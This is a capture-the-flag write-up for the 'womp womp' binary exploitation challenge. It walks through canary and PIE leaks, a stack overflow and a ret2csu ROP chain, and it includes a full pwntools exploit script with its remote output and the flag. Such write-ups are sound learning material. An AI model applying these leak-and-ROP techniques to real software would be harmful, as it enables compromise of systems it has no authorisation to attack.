Category: Binary Exploitation
Flag: EH4X{r0pp3d_th3_w0mp3d}
Challenge Description
Hippity hoppity the flag is not your property
Analysis
I started by unpacking the handout and immediately got the important clue: this was a two-binary setup (challenge + libcoreio.so), which usually means the main binary has the bug and the shared object hides the win path.
unzip -l "handout_womp_womp.zip"Archive: handout_womp_womp.zip
Length Date Time Name
--------- ---------- ----- ----
0 02-28-2026 00:42 handout/
13016 02-28-2026 00:42 handout/challenge
8416 02-28-2026 00:42 handout/libcoreio.soQuick triage showed exactly the kind of target that rewards leak-first exploitation: PIE, canary, NX, full RELRO, and a not-stripped ELF. Not stripped mattered a lot here because function names like submit_note, review_note, and finalize_entry made the intended flow obvious right away.
file "handout/challenge" "handout/libcoreio.so"handout/challenge: ELF 64-bit LSB pie executable, x86-64, ... not stripped
handout/libcoreio.so: ELF 64-bit LSB shared object, x86-64, ... not strippedchecksec "handout/challenge"[*] '/home/rei/Downloads/handout/challenge'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
RPATH: b'.'
Stripped: NoDisassembling challenge made the full exploit shape click. submit_note reads 0x40 bytes into a stack buffer and then writes 0x58 bytes back, which leaks past the buffer into stack metadata. review_note does the same pattern with 0x20 read and 0x30 write, and that leak includes the stack-stored function pointer to finalize_note, which gives a PIE leak. Then finalize_entry performs the real overflow by reading 0x190 bytes into rbp-0x48.
objdump -d -M intel "handout/challenge"00000000000009b7 <submit_note>:
...
9f5: e8 26 fe ff ff call 820 <read@plt> ; read(..., 0x40)
...
a21: e8 ea fd ff ff call 810 <write@plt> ; write(..., 0x58)
0000000000000a53 <review_note>:
...
a9c: e8 7f fd ff ff call 820 <read@plt> ; read(..., 0x20)
...
ac8: e8 43 fd ff ff call 810 <write@plt> ; write(..., 0x30)
0000000000000afa <finalize_entry>:
...
b33: 48 83 c0 08 add rax,0x8 ; target is rbp-0x48
b37: ba 90 01 00 00 mov edx,0x190
b44: e8 d7 fc ff ff call 820 <read@plt>The shared object confirmed the end goal: emit_report checks three exact magic arguments and, if they match, opens and prints flag.txt. So the exploit only needed to call emit_report with controlled rdi/rsi/rdx.
objdump -d -M intel "handout/libcoreio.so"00000000000007c0 <emit_report>:
...
7ef: 48 b8 ef be ad de ef be ad de movabs rax,0xdeadbeefdeadbeef
7f9: 48 39 85 d8 fe ff ff cmp QWORD PTR [rbp-0x128],rax
...
802: 48 b8 be ba fe ca be ba fe ca movabs rax,0xcafebabecafebabe
...
815: 48 b8 0d f0 0d d0 0d f0 0d d0 movabs rax,0xd00df00dd00df00d
...
87b: 48 8d 3d ee 00 00 00 lea rdi,[rip+0xee] # "flag.txt"
...
924: 48 89 c6 mov rsi,rax
927: bf 01 00 00 00 mov edi,0x1
92c: e8 3f fd ff ff call 670 <write@plt>The only annoyance was gadget quality: there was pop rdi and pop rsi, but no clean pop rdx. I initially wished for a straightforward 3-pop chain, then realized this binary already contained the classic __libc_csu_init sequence, which is perfect for setting rdx via r13.

ROPgadget --binary "handout/challenge" --only "pop|ret"0x0000000000000ca3 : pop rdi ; ret
0x0000000000000ca1 : pop rsi ; pop r15 ; ret
...
Unique gadgets found: 12objdump -d -M intel --start-address=0xc70 --stop-address=0xcb0 "handout/challenge"0000000000000c80 <__libc_csu_init+0x40>:
c80: 4c 89 ea mov rdx,r13
c83: 4c 89 f6 mov rsi,r14
c86: 44 89 ff mov edi,r15d
c89: 41 ff 14 dc call QWORD PTR [r12+rbx*8]
...
c9a: 5b pop rbx
c9b: 5d pop rbp
c9c: 41 5c pop r12
c9e: 41 5d pop r13
ca0: 41 5e pop r14
ca2: 41 5f pop r15
ca4: c3 retThat made the final chain clean and reliable: leak canary from submit_note, leak PIE from review_note (finalize_note pointer minus 0x980), overflow in finalize_entry, use CSU call #1 to invoke read(0, .data, 8) and place a callable function pointer in writable memory (finalize_note), then CSU call #2 through that pointer with rsi/rdx set to the emit_report magic values, and finish with pop rdi ; ret to set rdi = 0xdeadbeefdeadbeef before jumping to emit_report@plt.
When the remote service printed [VULN] Done. and immediately followed with the flag, that confirmed both the offset math and the CSU argument setup were correct on first full remote run.

from pwn import *
context.arch = "amd64"
io = remote("chall.ehax.in", 1337)
io.recvuntil(b"Input log entry: ")
io.send(b"A" * 0x40)
io.recvuntil(b"[LOG] Entry received: ")
leak1 = io.recvn(0x58)
canary = u64(leak1[0x48:0x50])
io.recvuntil(b"Input processing note: ")
io.send(b"B" * 0x20)
io.recvuntil(b"[PROC] Processing: ")
leak2 = io.recvn(0x30)
finalize_note = u64(leak2[0x20:0x28])
base = finalize_note - 0x980
csu_call = base + 0xC80
csu_pop = base + 0xC9A
pop_rdi = base + 0xCA3
emit_plt = base + 0x838
got_read = base + 0x201FC0
ptr_tbl = base + 0x202000
MAG1 = 0xDEADBEEFDEADBEEF
MAG2 = 0xCAFEBABECAFEBABE
MAG3 = 0xD00DF00DD00DF00D
def csu(funcptr, rdi, rsi, rdx, nxt):
return (
p64(csu_pop)
+ p64(0) + p64(1) + p64(funcptr)
+ p64(rdx) + p64(rsi) + p64(rdi)
+ p64(csu_call) + p64(0) + p64(0) * 6 + p64(nxt)
)
chain = csu(got_read, 0, ptr_tbl, 8, csu_pop)
chain += p64(0) + p64(1) + p64(ptr_tbl) + p64(MAG3) + p64(MAG2) + p64(0)
chain += p64(csu_call) + p64(0) + p64(0) * 6
chain += p64(pop_rdi) + p64(MAG1) + p64(emit_plt)
payload = b"C" * 0x40 + p64(canary) + b"D" * 8 + chain
io.recvuntil(b"Send final payload: ")
io.send(payload)
io.send(p64(finalize_note))
print(io.recvall(timeout=5).decode("latin-1", "ignore"))[VULN] Done.
EH4X{r0pp3d_th3_w0mp3d}Solution
# solve.py
from pwn import *
context.arch = "amd64"
HOST = "chall.ehax.in"
PORT = 1337
MAG1 = 0xDEADBEEFDEADBEEF
MAG2 = 0xCAFEBABECAFEBABE
MAG3 = 0xD00DF00DD00DF00D
io = remote(HOST, PORT)
# Stage 1: leak canary from submit_note
io.recvuntil(b"Input log entry: ")
io.send(b"A" * 0x40)
io.recvuntil(b"[LOG] Entry received: ")
leak1 = io.recvn(0x58)
canary = u64(leak1[0x48:0x50])
# Stage 2: leak PIE from review_note
io.recvuntil(b"Input processing note: ")
io.send(b"B" * 0x20)
io.recvuntil(b"[PROC] Processing: ")
leak2 = io.recvn(0x30)
finalize_note = u64(leak2[0x20:0x28])
pie = finalize_note - 0x980
csu_call = pie + 0xC80
csu_pop = pie + 0xC9A
pop_rdi = pie + 0xCA3
emit_plt = pie + 0x838
got_read = pie + 0x201FC0
ptr_tbl = pie + 0x202000
def csu(funcptr, rdi, rsi, rdx, nxt):
chain = p64(csu_pop)
chain += p64(0) # rbx
chain += p64(1) # rbp
chain += p64(funcptr) # r12
chain += p64(rdx) # r13 -> rdx
chain += p64(rsi) # r14 -> rsi
chain += p64(rdi) # r15 -> edi
chain += p64(csu_call)
chain += p64(0) # add rsp, 8
chain += p64(0) * 6 # popped by csu epilogue
chain += p64(nxt)
return chain
# First CSU call: read(0, ptr_tbl, 8) to place a function pointer in writable memory
chain = csu(got_read, 0, ptr_tbl, 8, csu_pop)
# Second CSU call: call [ptr_tbl] (finalize_note), load MAGIC2/MAGIC3 into rsi/rdx
chain += p64(0) + p64(1) + p64(ptr_tbl) + p64(MAG3) + p64(MAG2) + p64(0)
chain += p64(csu_call)
chain += p64(0) + p64(0) * 6
# Set rdi and jump to emit_report@plt
chain += p64(pop_rdi)
chain += p64(MAG1)
chain += p64(emit_plt)
payload = b"C" * 0x40 + p64(canary) + b"D" * 8 + chain
io.recvuntil(b"Send final payload: ")
io.send(payload)
# Satisfy read(0, ptr_tbl, 8)
io.send(p64(finalize_note))
print(io.recvall(timeout=5).decode("latin-1", errors="ignore"))python3.12 solve.py[VULN] Done.
EH4X{r0pp3d_th3_w0mp3d}